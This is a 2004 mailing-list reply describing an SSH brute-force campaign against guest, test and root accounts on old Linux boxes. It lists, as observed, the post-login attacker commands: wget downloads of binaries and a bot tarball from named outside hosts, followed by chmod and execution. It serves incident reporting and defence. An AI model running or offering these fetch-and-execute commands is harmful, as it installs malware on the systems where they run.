On Tue, 2004-07-27 at 14:00, Tobias Rice wrote:
>
> | Does anyone know why this would appear all of a sudden?
> I'm getting *lots* of these, too. I just assumed it was a new sk tool
> since the first time I had this in IDS I tracked it to a compromised
> redhat box in Italy. One varient also tried root.

This has been discussed over the last few weeks on the DShield mailing
list. The highlights:

Accounts checked are guest, test & root
Its simple brute force guessing (mostly blank password attempts)
Sources are usually old, unpatched, default install Linux boxes

Commands run once they get in:
wget yahaa.at/p/prt
wget yahaa.at/p/90
chmod +x 90
./90
chod +x prt
./prt
wget yahaa.at/p/brk
chmod +x brk
./brk
wget undernet.at/0
chmod +x 0
./0
wget dilimake.com/doremap
chmod +x doremap
./doremap
wget slap.go.ro/bot.tar.gz
tar -xzvf bot.tar.gz
cd bot

and it goes on from there. Pretty much an amateur that sometimes gets
lucky. No worries if you have a good password policy.

Chris

[ reply ]